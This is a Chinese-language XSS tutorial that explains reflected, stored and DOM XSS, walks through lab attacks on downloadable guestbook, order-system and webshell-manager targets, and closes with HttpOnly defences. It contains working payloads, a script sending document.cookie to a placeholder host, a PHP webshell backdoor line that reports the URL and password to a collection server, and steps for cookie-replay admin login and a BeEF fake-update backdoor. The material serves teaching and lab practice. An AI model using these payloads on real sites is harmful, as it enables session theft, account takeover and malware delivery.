从0到1学习XSS(最全最细致的攻防实战)

从0到1学习XSS(最全最细致的攻防实战)

思维导图

一、XSS跨站漏洞

(1)XSS简介

网站中包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting,安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS)有所区分,故称XSS)的威胁,而静态站点则完全不受其影响。恶意攻击者会在 Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术, 是代码注入的一种 。它允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响,恶意用户利用xss 代码攻击成功后,可能得到很高的权限、私密网页内容、会话和cookie等各种内容

攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript是新型的“ShellCode”。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是 寻找参数未过滤的输出函数

<?php
$xss = $_GET['x'];
echo $xss;

(2)产生层面

产生层面一般都是在前端,JavaScript代码能干什么,执行之后就会达到相应的效果

(3)函数类

比如说php中的脚本的输出函数

常见的输出函数有: print print_r echo printf sprintf die var_dump var_export

(4)危害影响

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 盗窃企业重要的具有商业价值的资料
  • 非法转账
  • 强制发送电子邮件
  • 网站挂马
  • 控制受害者机器向其它网站发起攻击

其实归根结底,XSS的攻击方式就是想办法“教唆”用户的浏览器去执行一些这个网页中原本不存在的前端代码。可问题在于尽管一个信息框突然弹出来并不怎么友好,但也不至于会造成什么真实伤害啊。的确如此,但要说明的是,这里拿信息框说事仅仅是为了举个栗子,真正的黑客攻击在XSS中除非恶作剧,不然是不会在恶意植入代码中写上 alert("say something") 的。在真正的应用中,XSS攻击可以干的事情还有很多,这里举两个例子。

  1. 窃取网页浏览中的cookie值 。在网页浏览中我们常常涉及到用户登录,登录完毕之后服务端会返回一个cookie值。这个cookie值相当于一个令牌,拿着这张令牌就等同于证明了你是某个用户。如果你的cookie值被窃取,那么攻击者很可能能够直接利用你的这张令牌不用密码就登录你的账户。如果想要通过script脚本获得当前页面的cookie值,通常会用到cookie。试想下如果像空间说说中能够写入xss攻击语句,那岂不是看了你说说的人的号你都可以登录(不过貌似QQ的cookie有其他验证措施保证同一cookie不能被滥用)
  2. 劫持流量实现恶意跳转 。这个很简单,就是在网页中想办法插入一句像这样的语句: <script>window.location.href="http://www.baidu.com";</script> 那么所访问的网站就会被跳转到百度的首页。早在2011年新浪就曾爆出过严重的xss漏洞,导致大量用户自动关注某个微博号并自动转发某条微博。具体各位可以自行百度。

(5)浏览器内核版本

利用XSS需要浏览器版本和内核没有过滤XSS攻击(比如用谷歌Edge火狐等打开可以成功,但是IE却会拦截)



(6)常出现场景

文章发表、评论、留言、注册资料的地方、修改资料的地方等

二、XSS攻击的分类

XSS攻击分成两类,一类是来自内部的攻击,另一类则是来自外部的攻击

(1)来自内部的攻击

主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。

(2)来自外部的攻击

主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

三、XSS的分类

1、反射型(非持久化)

(1)原理

反射型xss又称非持久型xss,是目前最普遍的类型,这种攻击方式往往具有一次性。发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,所以称反射型XSS。

(2)攻击方式

攻击者通过电子邮件等方式将包含xss代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该用户的请求并进行处理,然后服务器把带有xss代码的数据发送给目标用户的浏览器,浏览器解析这段带有xss代码的恶意脚本后就会触发xss漏洞

(3)判断是否存在反射型xss漏洞并利用

① 判断有没有过滤一些特殊的字符

比如对比输出的字符和输出的字符,可以看到有些字符被过滤了



② 注入代码

下面是大概的原理

假如我输入的是1,提交后,点击查看网页源代码





③ 插入代码

"><img src=1 onerror="alert(/xss/)"/> #如果读取图片失败,则用alert显示相关信息


显示了信息,则说明存在xss注入




可以对比看到,通过前面的闭合以及后面的代码插入,读取不到图片,因此触发了alert弹窗,显示了括号内的内容即/xss/

④ 利用xss漏洞

将刚刚成功注入代码并能触发xss的网址通过电子邮件等方式发送给对方的手中,如果结合xss平台,对方点击了链接,就能得到对方的cookie等信息



2、存储型(持久化)



(1)原理

存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库、内存、文件系统等),下次请求目标页面时不用再提交XSS代码。最典型的例子就是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言就会从数据库中加载出来并显示,于是触发了XSS攻击

(2)攻击方式

这种攻击多见于论坛、博客和留言板中,攻击者在发帖的过程中,将恶意脚本连同正常的信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久的存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在它们的浏览器中得到执行

(3)payload

<img src="1" onerror="alert(/xss/)"/>

注入后重新刷新发现直接回显注入的东西,说明是存储型xss

3、DOM型



(1)原理

文档对象模型Document Object Model(DOM)是一个与平台、编程语言不相干的接口,允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果会成为展示页面的一部分

DOM型xss其实是一种特殊类型的反射型xss,也被称作 本地跨站 ,它是基于DOM文档对象模型的一种漏洞。 DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,出发XSS靠的是浏览器的DOM解析,完全是客户端的事情

DOM中有很多对象,其中一些对象可以被用户所操纵,如url,location等。客户端的脚本程序可以通过DOM来动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得DOM中的数据后并在本地执行,因此仅从服务器端是没有办法防御DOM型XSS漏洞的,如若DOM中的数据没有经过严格的验证,便会产生基于DOM的XSS漏洞。

基于DOM的XSS是反射的特例,其中JavaScript隐藏在URL中,并在其呈现时由页面中的JavaScript取出,而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽,并且监控页面正文的WAF或其他防护检测不出恶意内容。

(2)攻击方式

用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含xss代码。服务器的响应不会以任何的形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理xss代码,导致存在xss漏洞

(3)payload

  • <img src=1 onerror="alert(/xss/)"/>

四、XSS攻击的途径

XSS攻击方法只是利用HTML的属性做各种尝试,找出注入的方法。现在对三种XSS攻击的主要方式进行分析。

  1. 第一种:对普通的用户输入,页面原样输出,攻击者通过对JSCODE的伪装,经过某些特定的操作就会跳出一个木马界面,从而取得登录用户的Cookie.
  2. 第二种:在代码区内存在有用户输入的内容
  3. 第三种:允许用户输入HTML标签的页面,用户可以提交一些自定义的HTML代码。

五、靶场实战

1、PHP开源多功能留言板

(1)搭建靶场

PHP开源多功能留言板下载地址: down.chinaz.com/soft/37 ,按照教程安装即可

(2)XSS平台

(3)进行攻击

① 初次尝试

尝试用简单的JS代码进行XSS攻击



存在JS过滤



② 绕过 <script> 检测

使用以下语句绕过 <script > 过滤: <BODY onload="alert('XSS')">





成功弹出弹窗



管理员后台查看也会弹出弹窗



而弹出弹窗的原因就是这句JS代码嵌入到了代码中



③ 利用XSS平台获取cookie

此时利用XSS平台,启用默认模块,因为这个留言板会过滤 <script> 标签,因此我选择使用img标签进行XSS攻击





发送payload成功







管理员到后台查看留言



此时XSS平台就有记录了



④ 使用firebug登录后台

获取到访问的URL:

URL:http://192.168.100.120/SyGuestBook_v1.2/index.php?c=adminMessage&a=ListMessage&gid=1
Cookie:valueName=w01ke; valueQq=5201314; PHPSESSID=en5mt3n1snl0hvg6d45mji2a95

用获取到的cookie和后台链接,使用firebug进行设置



成功进入后台!



注意:因为是留言板,因此别人查看我们留下的XSS攻击代码时,也会记录到XSS平台,因此查看XSS平台的记录时注意甄别访客和管理员

2、BUUCTF-basic-BUU XSS COURSE 1

3、订单系统——军锋真人CS野战123

(1)靶场下载

链接: pan.baidu.com/s/1YUKC5I ,提取码:rtra

(2)靶场安装

注意下载安装好后仔细查看安装说明,比如config.php的数据库账密要对,否则连接不上数据库



如果访问install.php提示以下信息,按照提示操作即可



在真实机部署环境时出现了一系列问题(后台登录页面验证码无法显示),我是在Win7虚拟机,PHP版本为5.3.29部署成功的

(3)进行攻击

① 初次尝试

攻击者在具体要求一栏构造payload: <script>alert(1)</script>





管理员在后台进行查看时就会弹出弹窗



正是因为我们的JS代码嵌入到了其中



② XSS平台获取cookie

选择XSS平台的攻击代码



提交



管理员在后台查看时就会触发攻击代码



此时在XSS平台就能查看到获取的信息



③ postman登录后台

postman下载地址: postman.com/downloads/



(4)Beef结合XSS攻击

① 安装Beef-xss

最新版kali安装beef-xss

apt-get install beef-xss

如果遇到找不到包



解决方案

# 编辑文件
sudo vim /etc/apt/sources.list
# 添加旧的资源信息
deb http://http.kali.org/kali kali-rolling main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali sana main non-free contrib
# deb-src http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
# For source package access, uncomment the following line
# deb-src http://old.kali.org/kali moto main non-free contrib
# 更新资源列表
sudo apt-get update

更新完毕后重新安装目标应用即可

安装完成后,直接使用beef-xss启动会有启动失败的问题,目前还不知道解决方法



但是可以进入 /usr/share/beef-xss/ 目录,使用 ./beef 启动即可



如果需要修改登录账号密码可以修改config.yaml文件



② 使用beef-xss

启动beef后,插入钩子,提交





后台管理员查看订单触发XSS



成功上线



获取Cookie



浏览器跳转





社工攻击,利用模拟Flash更新向客户端发送请求,来实现下载后门



客户端显示,点击就下载后门



4、WebShell箱子管理系统

就是使用别人的webshell来进行获取服务器shell,但获取shell后 webshell 存在的 恶意代码 就会把网站信息和webshell密码,和用户名发到webshell的原主人来进行 信息收集 ,通过大量获取的网站shell来进行 贩卖 ,而使用webshell的人就成 打工仔 了。

反杀的意思就是像上面的 窃取cookie 道理一样通过向webshell的代码中插入窃取cookie的代码,当webshell 原注入查看沙箱时就会触发xss窃取cookie来达到 反客为主

既然说到了WebShell,推荐一个WebShell库: github.com/tennc/webshe

(1)搭建靶场

① 靶场下载

靶场下载:链接: pan.baidu.com/s/1ym_f9H

提取码:gay7

② 小旋风下载

搭建一个asp的服务器,我们这里选用小旋风进行搭建 lt.yx12345.com:90/yasuo ,下载完成后解压到虚拟机里面

默认端口为80。如果80端口被占用或不想用80可用记事本打开host.ini增加端口网站服务



③ 靶场搭建

将下载好的webshell箱子放在搭建好的服务器里面,这里我放到了8001端口下



这里存在一个问题,访问该网址时只能访问http://localhost:8001/xxx ,访问127.0.0.1或者内网IP地址都会报 418 Host Not Found 的错误





经过排查终于知道是哪里出了问题,只需要将这里修改成对应的IP地址,重启服务即可





假如我们向 wolke.cn 传入了别人留了后门的木马,进行连接,访问了 10.3.14.17:8001/api.asp? ,这个时候别人在后台就能看到我们的webshell,坐收渔翁之利



(2)进行攻击

① 模拟webshell原作者进行后门攻击

登录后台(账号密码都为:admin)



去找一个免杀WebShell,然后加上我自己的后门

$password = "sqzr";
$url = $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; // HTTP_HOST当前请求头中 Host: 项的内容;PHP_SELF当前执行脚本的文件名
echo "<script src='http://10.3.14.17:8001/api.asp?url=$url&pass=$password&id=1'>";



模拟上传WebShell到某网站,并且进行连接触发后门



这时我们就打开webshell箱子发现我们的后门了(实验时发现木马路径太长,即使触发了后门也无法记录到webshell箱子中去)



② 反杀webshell原作者

有的webshell原作者会利用加密、编码、拼接字符等技术来隐藏URL,因此我们使用别人的webshell时一定要进行代码审计

当我们代码审计获取到webshell沙箱的URL后,通过访问webshell沙箱来植入XSS代码窃取cookie





此时沙箱管理员查看PHP信封,就会看到我们的恶意数据,同时也会触发XSS攻击代码



XSS平台新增记录



使用postman进入后台,直接反杀



5、使用JS代码获取Cookie

<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);<script>

六、XSS攻击的检测

  1. 在目标站点上找到输入点,比如搜索栏,错误页面,留言板等。
  2. 输入一组"特殊字符+唯一识别字符",点击提交后,查看返回源码,是否做对应的处理。
  3. 通过搜索定位到唯一识别字符,结合唯一识别字符前后语法确认是否可以构造执行js的条件(构造闭合)。
  4. 提交构造的脚本代码以及各种绕过姿势,看是否可以成功执行,如果成功执行则说明该站点存在XSS漏洞。

Tips:

  1. 通常搜索栏容易出现反射型XSS,留言板容易出现存储型XSS;
  2. 有些网站鉴于后台可能存在过滤措施,组建的script可能会被过滤掉,因而无法生效或者环境限制脚本执行;
  3. 通过变化不同的script,尝试绕过后台的过滤机制。

下图为跨站脚本攻击流程图(Cookies)



从图中可以看出:用户访问存在XSS漏洞的站点后触发脚本,漏洞站点给用户返回带有恶意js的页面;用户设备执行该恶意脚本后,攻击者即可窃取用户的数据(cookies),并伪装成用户对漏洞站点进行攻击。

七、获取Session思路

有的时候获取了Cookie,但是少了Session,会造成登不进后台

服务器开启了Session验证的话,我们只获取客户端的Cookie是没有办法通过验证的,

而且我们也无法获取存放在服务端的Session

如果需要获取Session,可以借助辅助文件,比如访问php探针时就会携带Session



如果能利用XSS让管理员页面跳转到phpinfo()界面,通过返回源码就能窃取Session

利用beef进行页面跳转



获取页面源码



获取源码中的cookie和session



八、HttpOnly

1、什么是HttpOnly

如果Cookie中设置了HttpOnly属性,那么通过JS脚本将无法读取到Cookie信息,这样能有效防止XSS攻击,窃取Cookie内容。 但是还是存在xss跨站语句,阻止的仅仅是获取cookie

各个主流的脚本语言都支持HttpOnly



2、HttpOnly的设置样例

(1)JavaEE

response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

具体参数的含义再次不做阐述,设置完毕后通过js脚本是读不到该cookie的,但使用如下方式可以读取

Cookie cookies[]=request.getCookies();

(2)C

HttpCookie myCookie = new HttpCookie("myCookie");   
myCookie.HttpOnly = true;   
Response.AppendCookie(myCookie);

(3) VB.NET

Dim myCookie As HttpCookie = new HttpCookie("myCookie")   
myCookie.HttpOnly = True   
Response.AppendCookie(myCookie)

但是在 .NET 1.1 ,中您需要手动添加

Response.Cookies[cookie].Path += ";HTTPOnly";

(4)PHP≥5.2

PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中

session.cookie_httponly =

设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启:

<?php
  ini_set("session.cookie_httponly", 1); 
 // or
  session_set_cookie_params(0, NULL, NULL, NULL, TRUE);